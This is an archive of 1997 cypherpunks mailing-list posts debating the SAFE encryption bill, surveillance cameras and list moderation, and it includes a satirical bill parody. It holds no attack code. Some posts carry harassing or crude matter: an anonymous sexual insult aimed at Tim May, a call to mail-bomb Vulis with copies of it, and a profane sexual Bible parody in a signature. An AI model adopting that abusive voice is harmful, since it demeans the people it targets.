The comp.security.pgp FAQ (the "official" PGP FAQ):

http://www.pgp.net/pgpnet/pgp-faq/


The International PGP FAQ (for version 2.6.3i); by Stale
Schumacher <staalesc(at)ifi.uio.no>:

http://www.ifi.uio.no/pgp/FAQ.shtml

or via email with (empty) message to <pgp(at)hypnotech.com>;
subject: GET FAQ


The Passphrase FAQ; by Randall T. Williams <ac387(at)yfu.ysu.edu>:

http://www.stack.nl/~galactus/remailers/passphrase-faq.html


The Diceware Passphrase Home Page

http://world.std.com/~reinhold/diceware.page.html


Pointers to other Cryptographic Software 

http://www.cs.hut.fi/ssh/crypto/software.html


Usenet:

alt.security.pgp


 Want to know more about Privacy and Civil Liberties issues?
 -----------------------------------------------------------

check out these organizations and web sites:

** Electronic Privacy Information Center (EPIC) **

http://www.epic.org/


** Electronic Frontier Foundation (EFF) **

http://www.eff.org/


** Center for Democracy and Technology (CDT) **

http://www.cdt.org/


** The Voters Telecommunications Watch (VTW) **

http://www.vtw.org/


** American Civil Liberties Union (ACLU) **

http://www.aclu.org/


** Encryption Policy Resource Page **

http://www.crypto.com/


** Democracy Net **

http://www.democracy.net/


** Privacy International **

http://www.privacy.org/pi/


** Amnesty International (AI) ** (general human rights)

http://www.amnesty.org/

====================================================================

May there be peace in this world, may all anger dissolve and may
all living beings find the way to happiness...


harka(at)nycmetro.com
Finger or e-mail for public key [KeyID: 04174301]
Fingerprint: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8

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Ck2LBw61uEyaSP2ZFdUM2exK6lioDBaUKmSW+zJWcfFfnlgaUPQRuWCmQFJidD71
u4tHO0y5VHg4G/3yXi1vuw4iUcjFcCqyqnGCAIyFmagi281xZsUI9ZgJx6Lu82c7
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 1 May 1997 22:38:06 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
Message-ID: <Pine.GSO.3.95.970501072035.5095A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 1 May 1997 10:09:27 -0400
From: Jonah Seiger <jseiger@cdt.org>
To: tcmay@got.net, declan@well.com
Cc: fight-censorship@vorlon.mit.edu, cypherpunks@cyberpass.net
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"

Tim -

It's too bad we may not see eye-to-eye on this one.

For what it's worth, CDT shares your concerns about the criminal provision
in the SAFE bill.  We believe that as currently written, the provision is
overly broad and could create a chilling effect on the everyday use of
encryption, and  unnecessary because it duplicates existing obstruction of
justice law.

We have expressed these concerns both publicly (in a letter to the
committee signed by EPIC, ACLU, EFF, VTW, CDT, and over 20 other
organizations - see  http://www.privacy.org/ipc/safe_letter.html) and
privately in conversations with the committee staff.  We hope to work with
the authors of SAFE to address these concerns, but, as you know, we are not
running this show and have to work with what the Congress gives us.

However, despite our concerns about the criminal provisions, we believe
strongly that the SAFE bill, and the bills in the Senate sponsored by Burns
and Leahy, are vitally important and should be passed.

As you know, the debate over encryption policy reform has been going on for
more than 4 years.  Despite all of our efforts to promote the use of
encryption, crypto is still not widely used by the public.

The Clinton administration has not backed off from their commitment to a
global key-escrow/key-recovery system with guaranteed law enforcement
access to private keys. And despite the brilliant work of EFF on the
various legal challenges to the export restrictions, we feel this issue
will only be fully resolved through legislation.

The status quo, in our view, is not good enough.  Because of the export
controls and the lack of a coherent US encryption policy, Internet users do
not have access to the privacy protecting encryption products they need.

Congress needs to stand up to the Administration and say, with a strong
voice, "your policy is a failure - we need a different solution".  That's
what SAFE, Pro-CODE, and ECPA II do.

Best,

Jonah


 ** THE FIGHT FOR FREE SPEECH ONLINE IS IN THE HANDS OF THE SUPREME COURT **
      Find out the latest news and information about the case, visit
         <http://www.ciec.org>   --   <ciec-info@cdt.org>

--
Jonah Seiger, Communications Director              (v) +1.202.637.9800
Center for Democracy and Technology              pager +1.202.859.2151
<jseiger@cdt.org>
                                                    PGP Key via finger
http://www.cdt.org
http://www.cdt.org/homes/jseiger












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 1 May 1997 23:17:46 +0800
To: Jonah Seiger <declan@well.com
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
Message-ID: <199705011506.IAA19774@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:09 5/01/97 -0400, Jonah Seiger wrote:
>Tim -
>
>It's too bad we may not see eye-to-eye on this one.
>
>For what it's worth, CDT shares your concerns about the criminal provision
>in the SAFE bill.  We believe that as currently written, the provision is
>overly broad and could create a chilling effect on the everyday use of
>encryption, and  unnecessary because it duplicates existing obstruction of
>justice law.
>
>We have expressed these concerns both publicly (in a letter to the
>committee signed by EPIC, ACLU, EFF, VTW, CDT, and over 20 other
>organizations - see  http://www.privacy.org/ipc/safe_letter.html) and
>privately in conversations with the committee staff.  We hope to work with
>the authors of SAFE to address these concerns, but, as you know, we are not
>running this show and have to work with what the Congress gives us.

There's your error.  No, you don't "have to work with" it.  Simply make your
public support absolutely and completely conditional on the removal of the
bad part.  That's quite easy, isn't it?!?

>
>However, despite our concerns about the criminal provisions, we believe
>strongly that the SAFE bill, and the bills in the Senate sponsored by Burns
>and Leahy, are vitally important and should be passed.

Why?  Tim May said it quite well:  SAFE gives us no rights that we don't
already have, and what it does claim to give us has so many "legitimate
needs of law-enforcement"-type loopholes that it would be almost totally
useless.

It is certainly not "vitally important."  There are some components of SAFE
which would be good to have, IF they can be obtained without the disastrous
component of SAFE which we all know must be removed.

>
>As you know, the debate over encryption policy reform has been going on for
>more than 4 years.  Despite all of our efforts to promote the use of
>encryption, crypto is still not widely used by the public.
>
>The Clinton administration has not backed off from their commitment to a
>global key-escrow/key-recovery system with guaranteed law enforcement
>access to private keys. And despite the brilliant work of EFF on the
>various legal challenges to the export restrictions, we feel this issue
>will only be fully resolved through legislation.
>
>The status quo, in our view, is not good enough. 

Let's not have any backsliding, then!  

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 2 May 1997 01:34:05 +0800
To: Jonah Seiger <declan@well.com
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <Pine.GSO.3.95.970430194258.6805D-100000@well.com>
Message-ID: <v03007803af8e70131a67@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:09 AM -0800 5/1/97, Jonah Seiger wrote:
>Tim -
>
>It's too bad we may not see eye-to-eye on this one.
>
>For what it's worth, CDT shares your concerns about the criminal provision
>in the SAFE bill.  We believe that as currently written, the provision is
>overly broad and could create a chilling effect on the everyday use of
>encryption, and  unnecessary because it duplicates existing obstruction of
>justice law.

Indeed. All reasons to withdraw support for the Bill and to actively seek
to undermine and sabotage it, as I hope many of us do.

Further, it is quite clear that the Bill will *not* allow strong crypto (by
"strong" I mean "arbitrarily strong," the only kind most of us support!) to
be exported freely. Even for "financial cryptography," as clearly any
strong crypto system can--and wiil--be used eventually by some group the
Administration deems to be "international terrorists."

(I would classify the U.S. government as a supporter of international
terrorism, for many reasons. The mining of the harbors in a country with a
relatively freely elected government, for example. The support of Kurdish
terrorists. The funding and equippers of sappers in Serbia. And so on. Oh,
and does the use of PGP by Burmese rebels/freedom fighters/terrorists, so
often cited by Phil Zimmermann as a postive example, count as use by
terrorists? You get the picture. One man's terrorist is another man's
freedom fighter. I support, for example, the use of strong cryptography to
undermine the Zionist entity which preys upon the life of the people
(TM)...does this make me a supporter of terrorists or of freedom fighters?
And why do George Bush and Bill Clinton get to decide?)


>We have expressed these concerns both publicly (in a letter to the
>committee signed by EPIC, ACLU, EFF, VTW, CDT, and over 20 other
>organizations - see  http://www.privacy.org/ipc/safe_letter.html) and
>privately in conversations with the committee staff.  We hope to work with
>the authors of SAFE to address these concerns, but, as you know, we are not
>running this show and have to work with what the Congress gives us.

Yoo're not "running the show," nor am I, or we, but you can withdraw
support and actively oppose a bad bill.


>However, despite our concerns about the criminal provisions, we believe
>strongly that the SAFE bill, and the bills in the Senate sponsored by Burns
>and Leahy, are vitally important and should be passed.
>
>As you know, the debate over encryption policy reform has been going on for
>more than 4 years.  Despite all of our efforts to promote the use of
>encryption, crypto is still not widely used by the public.

"Use a cipher, go to prison" will hardly engender more public support for
cryptography.

More importantly, what the hell does the SAFE bill have to do with
Americans using crypto? Crypto is completely unrestricted, at least by law,
anywhere in the U.S. for use by American citizens and (most) others. If
Americans aren't using crypto, it's for other reasons.

"Use a cipher, go to prison" will not help in this process.

>The Clinton administration has not backed off from their commitment to a
>global key-escrow/key-recovery system with guaranteed law enforcement
>access to private keys. And despite the brilliant work of EFF on the
>various legal challenges to the export restrictions, we feel this issue
>will only be fully resolved through legislation.
>
>The status quo, in our view, is not good enough.  Because of the export
>controls and the lack of a coherent US encryption policy, Internet users do
>not have access to the privacy protecting encryption products they need.
>
>Congress needs to stand up to the Administration and say, with a strong
>voice, "your policy is a failure - we need a different solution".  That's
>what SAFE, Pro-CODE, and ECPA II do.

Sorry, Johah, but these are just platitudes from a press release.

More detailed analysis is called for, not just mouthings about Congress
standing up to the Administration, etc.

For example, answer this question: Will "unbreakable" (*) cryptography,
using full-strength RSA and drop-in 3DES, IDEA, Blowfish, AES, etc., be
allowed for unrestricted export?

If "yes," then this is indeed a good deal. But the weasel words in nearly
every section clearly say it is not.

If "no," then crypto is still crippled for export...the details just vary
(or maybe they don't, actually, as nothing is spelled out).


(* "Unbreakable" is a dangerous term. By "unbreakable" I mean here an
algorithm and key distribution mechanism (or no KD, as in PK systems) which
surpasses any known breaking attempts by some comfortable margin. Cf. the
study by the noted cryptographers, and use keylengths like 128 bits of work
factor...that ought to be "unbreakable" by the standards of the next few
centuries!)

Importantly, the putative goals of the SAFE Bill could be much more simply
handled this way:


"SAFE -- Security and Freedom Through Encryption: Computer software shall
be treated as any other form of speech is. Software shall not be subject to
restrictions on dissemination, export, or possession."


--Tim May, still a felon, and still using encryption to further
prosecutable offenses. Fuck Congress.


--
[This Bible excerpt awaiting review under the U.S. Communications Decency
Act of 1996]
And then Lot said, "I have some mighty fine young virgin daughters. Why
don't you boys just come on in and fuck them right here in my house - I'll
just watch!"....Later, up in the mountains, the younger daughter said:
"Dad's getting old. I say we should fuck him before he's too old to fuck."
So the two daughters got him drunk and screwed him all that night. Sure
enough, Dad got them pregnant, and had an incestuous bastard son....Onan
really hated the idea of doing his brother's wife and getting her pregnant
while his brother got all the credit, so he pulled out before he
came....Remember, it's not a good idea to have sex with your sister, your
brother, your parents, your pet dog, or the farm animals, unless of course
God tells you to. [excerpts from the Old Testament, Modern Vernacular
Translation, TCM, 1996]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Fri, 2 May 1997 00:12:38 +0800
To: cypherpunks@toad.com
Subject: Re: Privacy news: Oakland Cameras, Levi employee files, FileGate
Message-ID: <3.0.32.19691231160000.006ae0c4@best.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:35 PM 4/30/97 -0700, Bill Stewart wrote:
>It's been a busy day for privacy issues in the Oakland Trib.
>
>Surveillance Cameras in Oakland
>-------------------------------
>Bay Alarm is trying to sell the City Council a $500K-$1.5M closed-circuit
>TV system for watching people in public places.  The three picknickers
>didn't litter, but the camera mounted on the public library building could
>zoom in enough to that the council could tell a ham sandwich from roast beef,
>and whether the two joggers were wearing Nikes or Reeboks.
>"Anybody who is a law-abiding citizen is not going to be concerned about
>this..
>"When I'm out in a public place.... I don't have an expectation of privacy"
>said Councilcritter Nate Miley (East Oakland/Elmhurst), who wants a test run
>in his district, where residents have bars on their windows and are afraid
>to go out at night.  Police Chief Joseph Samuels likes it too.
>"This is technology spying on our citizens from camera on light poles"
>said John Crew of the ACLU police practices project, speaking against it.
>Bay Alarm said that some British cities have dealt with privacy fears by
>setting up monitoring centers away from city and police offices,
>where tapes are kept in case a crime occurs -- crime victims can call up
>the police and ask them to play back tapes, said Mark Demier of Bay Alarm.
>The camera systems are also capable of taking pictures in the dark.
>

Brief radio piece on the red-light cameras in S.F. --- red-light running
appears
to be down at the 4 intersections where cameras are installed; some
well-placed official was
quoted as saying "The cameras are definitely having an effect on people's
behavior." Yes, a
Good Thing.  They are continuing to move forward with plans to install more
cameras.

This is fine for red-light-running.  I'm just worried about the day when
the cameras
have an effect on people's behavior with respect to what they say, whom
they associate with, 
the clothes they wear, the thoughts they think...

How do you hack a camera?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Fri, 2 May 1997 00:08:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
Message-ID: <3.0.32.19691231160000.006b0ea4@best.com>
MIME-Version: 1.0
Content-Type: text/plain


In that case, it counts as an improvement indeed.


At 10:48 PM 4/30/97 -0700, Anil Das wrote:
>On Apr 30, 10:23pm, geeman wrote:
>> Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
>>
>> I'd like to point out that the key phrase in there seems to be
>> "under any law in effect on the effective date of this chapter"  -- altho
>> it's gobbledegooked,
>> the intent seems to say "if there is no law in effect mandating GAK when
>> this bill becomes
>> law, there can never be a law passed which does"  Or in other words, it has
>> the effect of making
>> GAK no better, or worse, than under current law, while preventing passage
>> of GAK laws in the future.
>
>	Agreed, except for one subtle correction. Congress cannot
>make a law saying a future congress cannot make such and such a law,
>because the future congress can always repeal, amend or override the
>old law. So, what this section does is to make GAK through an
>executive order impossible.
>
>--
>Anil Das
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 2 May 1997 00:16:00 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Why I delete cc;s to other mailing lists
In-Reply-To: <v03007801af8deee5c0d0@[207.167.93.63]>
Message-ID: <v03007804af8e78540ade@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:12 AM -0800 5/1/97, Adam Back wrote:

>I don't either.  My only interest in posting to these lists at all is
>that some people hang out there who don't read cypherpunks.  I got a
>reply from Ron Rivest on the hashcash stuff as it related it to his
>and Shamir's MicroMint payment system.  I presume from reading it on
>coderpunks or cryptography where I forwarded copies.

Some people want the advantages of lists like the Cypherpunks list, but not
the disadvantages of volume and noise. Well, there is no simple solution to
this, except the usual ones of local filtering, hitting the delete key, etc.

I don't subscribe to lists controlled by others, for various reasons I've
discussed over the years.

It's a lot harder to create signal than it is to suppress noise. As I like
to say, "My keyboard has a "Delete" key--it doesn't have a "Create" key."

Many "edited" lists have appeared over the years. Nick Szabo had (and still
has) his own list. Robin Hanson had one ("AltInst," or "Alternative
Institutions"...I  like Robin's thinking a lot, but I quit his last after
just a few days when he asked me to "fine tune" my posts more to his
liking), and there have been various libertarian/digital liberty mailing
lists.

(These lists typically start with a bang, having traffic of a dozen or so
messages a day....then things peter out. Some of these lists have no
traffic for months at a time.)

The Cypherpunks list, rambunctuous and uncontrolled as it is, has thrived
for four and a half years, coming up on 5 years in just a few months.

That "serious cryptographers" do not want to be subscribers is just the way
it is. I can't do anything to get David Chaum or Matt Blaze to subscribe.
Too bad. I don't worry about it. If they want to subscribe, they can. I'm
not interested in creating a "Tim's list" in hopes that they'll subscribe.
They won't.

>> I routinely delete all of the cc:s to other lists, figuring if people want
>> to read my stuff they can damn well subscribe to the Real Thing, the
>> Cypherpunks list.
>
>So what you're saying is that you boycott them in effect, you don't
>send your writings to censored lists, and if they want to read your
>writing, they've got to read The List.  Well the more quality content
>that comes to cypherpunks first, or exclusively to cypherpunks until a
>3rd party forwards it the better, as this adds to cypherpunks
>reputation, and increases the value of and interest in the list.

Exactly. I don't want my writings primarily distributed to Declan's list,
or Bob's list, or whatever. (Bob sometimes reposts my articles to his
yuckily-nnamed "e$spam" list, and I get responses from people who simply
don't understand the background to the issues....I either ignore them
completely or tell them to subscribe to the Cypherpunks list and to quit
pestering me for explanations.)

>My attitude is leaning this way also.  I post most things to
>cypherpunks first.  The others I consider in effect forwards of
>material posted to cypherpunks.

Many people seem to want to "fix" the Cypherpunks list. I try to do what I
can by writing essays. That's my form of "signal." Those who don't want to
read these articles know where the delete key is.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Fri, 2 May 1997 01:07:03 +0800
To: jseiger@cdt.org (Jonah Seiger)
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <v03020900af8e49aa795c@[207.226.3.4]>
Message-ID: <199705011652.JAA12500@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> 
> The status quo, in our view, is not good enough.  Because of the export
> controls and the lack of a coherent US encryption policy, Internet users do
> not have access to the privacy protecting encryption products they need.

	Yes they do. There is a growing international crypto
development industry. The export controls have hampered access to the
products they need, but it has not eliminated said access.
	SAFE is one step closer towards making *import* of
cryptography illegal. It's a good thing Anguilla looks like a
relatively reasonable place to live, with people like you "on our
side".

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Fri, 2 May 1997 01:17:20 +0800
To: jseiger@cdt.org
Subject: CDT Flash:   SADE Bill -- "Hold a belief, go to prison"
In-Reply-To: <3355CC61.B61@stanford.edu>
Message-ID: <199705011646.JAA16972@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks,  talk.politics.crypto, comp.org.eff.talk)





-----------------------------------------------------------------------------
    _____ _____ _______
   / ____|  __ \__   __|   ____        ___               ____             __
  | |    | |  | | | |     / __ \____  / (_)______  __   / __ \____  _____/ /_
  | |    | |  | | | |    / /_/ / __ \/ / / ___/ / / /  / /_/ / __ \/ ___/ __/
  | |____| |__| | | |   / ____/ /_/ / / / /__/ /_/ /  / ____/ /_/ (__  ) /_
   \_____|_____/  |_|  /_/    \____/_/_/\___/\__, /  /_/    \____/____/\__/
   The Center for Deities and Theologies  /____/      Volume 42, Number 1
----------------------------------------------------------------------------
      A briefing on public policy issues affecting religious liberties online
----------------------------------------------------------------------------
 CDT POLICY POST Volume 42, Number 1                      May 1, 1997

Status Report on SADE, "Serenity and Dignity Through Enlightenment"


FLASH! The Center for Deities and Theologies announces that the "SADE" Bill
is past markup by the House Committee on Beliefs and Creeds, and is headed
for passage in the full House. We urge you to call your representative and
support this important Bill.

While CDT believes the Bill has certain flaws, particularly the criminal
sanctions for use of religious beliefs in furtherance of a prosecutable
offense, we believe the benefits outweigh the problems. This Bill will give
to American believer-units the religious freedoms they have so far lacked,
while also ensuring the legitimate needs of religious enforcement are
satisfied.

The characterization of SADE as a kind of "hold a belief, go to prison" law
is completely unjustified. No believer-unit who does not use his or her
beliefs in connection with a prosecutable offense has anything whatsoever
to fear from this  landmark piece of legislation. 

CDT is proud to be a supporter and industry shill for this important step
forward.

--Klaus! von Future Prime, Policy Director, Center for Deities and Theologies



Text of H.R. 666, the "SADE" Bill, "Serenity and Dignity Through Enlightenment"

A BILL

To amend title 18, United States Code, to affirm the rights of Americans to
practice the religious beliefs of their choice, and to recognize the
legitimate needs of law enforcment and national security concerns in this
area.

Be it enacted by the Senate and House of Representatives of the United
States of America in Congress assembled,

SECTION 1. SHORT TITLE.

This Act may be cited as the "Serenity and Dignity Through Enlightenment
(SADE) Act". 

SEC. 2. PRACTICE OF RELIGION.

(a) IN GENERAL. Part I of title 18, United States Code, is amended by
inserting after chapter 121 the following new chapter: 

CHAPTER 122-RELIGIOUS BELIEFS AND PRACTICES

"2801. Definitions.
"2802. Freedom To Practice Religion.
"2803. Freedom To Sell Religous Materials.
"2804. Prohibition on religious licenses.
"2805. Unlawful use of religious beliefs in furtherance of a criminal act.


"§2802. Freedom To Practice Religion

"Subject to Section 2805, it shall be lawful for any person within any
State, and for any United States citizen in a foreign country, to hold any
religious belief, regardless of the deity, god, goddess, idol, or higher
being believed in.

"§2803. Freedom To Sell Religous Materials

"Subject to section 2805, it shall be lawful for any person within any
State to sell in interstate commerce any religious tract, scripture, Bible,
or pamphlet, regardless of the deity, god, goddess, or higher being
supported.

"§2804. Prohibition on religious licenses

"(a) PROHIBITION. -- No person in lawful possession of religious materials
may be required by Federal or State law to disclose or surrender to
another person those materials. 
"(b) EXCEPTION FOR ACCESS FOR LAW ENFORCEMENT PURPOSES.-Subsection (a)
shall not affect the authority of any investigative or law
enforcement officer, under any law in effect on the effective date of this
chapter, to gain access to those beliefs and religious materials. 

"§2805. Unlawful use of religious beliefs in furtherance of a criminal act

"Any person who willfully uses religious beliefs or practices in
furtherance of the commission of a criminal offense for which the person
may be prosecuted in a court of competent jurisdiction -- 

       "(1) in the case of a first offense under this section, shall be
imprisoned for not more than 5 years, or fined in the amount set forth in
       this title, or both; and
       "(2) in the case of a second or subsequent offense under this
section, shall be imprisoned for not more than 10 years, or stoned to
death, or both.".


SEC. 3. EXPORTS OF RELIGIOUS MATERIALS.

(a) AMENDMENT TO RELIGIOUS EXPORT ADMINISTRATION ACT OF 1979. -- Section 17
of the Religious Export Administration Act of 1979 (50 U.S.C. App. 2416)
is amended by adding at the end thereof the following new subsection: 

       "(g) BIBLES AND RELATED MATERIALS. --
       "(1) GENERAL RULE.--Subject to paragraphs (2), (3), and (4), the
Inqusitor shall have exclusive authority to control exports of all
       religious materials, tracts, Bibles, Torahs, and statements of
belief for religious matters and beliefs, except that which is specifically
       intended or modified for use by religious zealots, martyrs, and
those involved in crusades, jihads, or holy wars. 
       "(2) ITEMS NOT REQUIRING LICENSES. -- No validated license may be
required, except pursuant to the Praying For the Enemy
       Act or the International Emergency Higher Powers Act (but only to
the extent that the authority of such Act is not exercised to
       extend controls imposed under this Act), for the export or reexport of-- 

...

       "(3) MATERIALS WITH PROSELYTIZING CAPABILITIES. -- The Inquisitor
shall authorize the export or reexport of religious items with
      proselytizing capabilities for non-jihad end-uses in any country to
which exports of similar Christian or Jewish materials are permitted for
use
       by religious institutions not controlled in fact by United States
churches and synagogues, unless there is substantial evidence that such
materials will be
       -- 

              "(A) diverted to a an Islamic jihad or other holy war or used
for religious terrorism; 
              "(B) modified for crusade and.or holy war end-use; or 
              "(C) reexported without any authorization by the United
States that may be required under this Act.

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 2 May 1997 00:24:01 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [CRYPTO] ZKP
In-Reply-To: <199705011110.NAA14579@basement.replay.com>
Message-ID: <Pine.A41.3.95.970501095943.81290D-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to him.   
 
On Thu, 1 May 1997, Anonymous wrote:

> Tim May is widely recognized on the net, because of his 
> frequent vitriolic postings, as someone/thing ready to cut 
> off his own penis to spite the testicles, although his 
> friends recognize him better from the rear.
> 
>    __
>   /_/\__
>   \_\/\_\ Tim May
>   /\_\/_/
>   \/_/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <jseiger@cdt.org>
Date: Thu, 1 May 1997 22:21:48 +0800
To: declan@well.com
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <Pine.GSO.3.95.970430194258.6805D-100000@well.com>
Message-ID: <v03020900af8e49aa795c@[207.226.3.4]>
MIME-Version: 1.0
Content-Type: text/plain


Tim -

It's too bad we may not see eye-to-eye on this one.

For what it's worth, CDT shares your concerns about the criminal provision
in the SAFE bill.  We believe that as currently written, the provision is
overly broad and could create a chilling effect on the everyday use of
encryption, and  unnecessary because it duplicates existing obstruction of
justice law.

We have expressed these concerns both publicly (in a letter to the
committee signed by EPIC, ACLU, EFF, VTW, CDT, and over 20 other
organizations - see  http://www.privacy.org/ipc/safe_letter.html) and
privately in conversations with the committee staff.  We hope to work with
the authors of SAFE to address these concerns, but, as you know, we are not
running this show and have to work with what the Congress gives us.

However, despite our concerns about the criminal provisions, we believe
strongly that the SAFE bill, and the bills in the Senate sponsored by Burns
and Leahy, are vitally important and should be passed.

As you know, the debate over encryption policy reform has been going on for
more than 4 years.  Despite all of our efforts to promote the use of
encryption, crypto is still not widely used by the public.

The Clinton administration has not backed off from their commitment to a
global key-escrow/key-recovery system with guaranteed law enforcement
access to private keys. And despite the brilliant work of EFF on the
various legal challenges to the export restrictions, we feel this issue
will only be fully resolved through legislation.

The status quo, in our view, is not good enough.  Because of the export
controls and the lack of a coherent US encryption policy, Internet users do
not have access to the privacy protecting encryption products they need.

Congress needs to stand up to the Administration and say, with a strong
voice, "your policy is a failure - we need a different solution".  That's
what SAFE, Pro-CODE, and ECPA II do.

Best,

Jonah


 ** THE FIGHT FOR FREE SPEECH ONLINE IS IN THE HANDS OF THE SUPREME COURT **
      Find out the latest news and information about the case, visit
         <http://www.ciec.org>   --   <ciec-info@cdt.org>

--
Jonah Seiger, Communications Director              (v) +1.202.637.9800
Center for Democracy and Technology              pager +1.202.859.2151
<jseiger@cdt.org>
                                                    PGP Key via finger
http://www.cdt.org
http://www.cdt.org/homes/jseiger










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jordan <jordan@macandco.com> (by way of Alec <camcc@abraxis.com>)
Date: Thu, 1 May 1997 22:53:39 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Federalists vs. States Rights
Message-ID: <3.0.1.32.19970501100938.007cf2d0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


"U.S. prosecutions of pro-marijuana doctors barred
April 30, 1997 Web posted at: 11:09 p.m. EDT (0309 GMT) 

SAN FRANCISCO (Reuter) -- A U.S. district judge Wednesday
issued an order temporarily barring the federal government from
prosecuting California doctors who recommend marijuana to their
patients."

http://cnn.com/US/9704/30/marijuana.doctors.ap/index.html

It's the same old song - Federalism v. States Rights

Maybe we should see what went on in past US history to find out the 
outcome of current US events.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 1 May 1997 18:36:30 +0800
To: tcmay@got.net
Subject: Re: Why I delete cc;s to other mailing lists
In-Reply-To: <v03007801af8deee5c0d0@[207.167.93.63]>
Message-ID: <199705011012.LAA02200@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> I once unintentionally forgot to delete the "cryptography@c2.net" cc: on a
> reply I made to what (I assumed) was a Cypherpunks message, and received a
> Perrygram stating that my message was off-topic and was not welcome on his
> list.

The Bcc approach avoids this problem as you don't see the Cc's, so
they only last for one post.  That's if you have an interest in
posting there at all.

I've also had negative experiences of cross posting, (I did it to
coderpunks and got a Futplexgram, followed by a threat of
unsubscription.  Pissed me off somewhat.  Also again lately following
up to someone else, which earned maybe 10 people a more polite
multiply Cc'd: please don't cross-post note from Raph).

Perry just silently nukes stuff, or says that's enough on this topic
(chop).

> Clearly Perry has the right to run _his_ list any way he wishes to, just as
> Declan has the right to run _his_ list any way he wishes to, just as Bob
> Hettinga has the right to run _his_ list (or lists) as he wishes, and just
> as Lewis McCarthy has the right to the run _his_ "Coderpunks" list as he
> wishes, and so on.
> 
> However, I think these "personal" lists are not to my taste, I don't want
> Perry or Declan or Bob or Lewis deciding whether my articles match their
> interests at the time I submit an article.

I don't either.  My only interest in posting to these lists at all is
that some people hang out there who don't read cypherpunks.  I got a
reply from Ron Rivest on the hashcash stuff as it related it to his
and Shamir's MicroMint payment system.  I presume from reading it on
coderpunks or cryptography where I forwarded copies.

> I routinely delete all of the cc:s to other lists, figuring if people want
> to read my stuff they can damn well subscribe to the Real Thing, the
> Cypherpunks list. 

So what you're saying is that you boycott them in effect, you don't
send your writings to censored lists, and if they want to read your
